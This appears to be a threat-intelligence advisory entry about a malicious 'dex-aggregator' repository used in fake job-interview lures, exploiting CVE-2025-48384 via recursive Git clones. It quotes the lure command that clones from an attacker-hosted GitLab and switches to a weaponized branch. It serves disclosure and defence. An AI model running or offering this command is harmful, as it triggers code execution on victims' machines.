GCVE-110-OSM-2026-14679

Weaponized 'dex-aggregator' repository on DPRK TraderTraitor-controlled GitLab, delivered to targets as a job-interview coding assessment. Cloning with --recursive and switching to the dev branch with submodules exploits CVE-2025-48384 for arbitrary file write and code execution on Linux/macOS. Malicious payload delivered via: git clone --recursive (weaponized submodules, branch 'dev') Lure command (GitLab PAT redacted in source): git clone --recursive https://<DEVELOPER>:glpat-********@git.oddium.io/dex/dex-aggregator.git && cd dex-aggregator && git switch --recurse-submodules dev Exploit: CVE-2025-48384 - arbitrary file write and code execution during recursive clone on Linux/macOS; similar Git bugs or malicious Git hooks may also be used. Hosting: attacker-controlled self-hosted GitLab at git.oddium.io (fake company Oddium). Behavior: Delivered to targets as a 'technical assessment' codebase after multi-round fake interviews; commands styled as internal company tooling. Observed in AFX intrusion (Jul 2026), consistent with Binance incident timeline.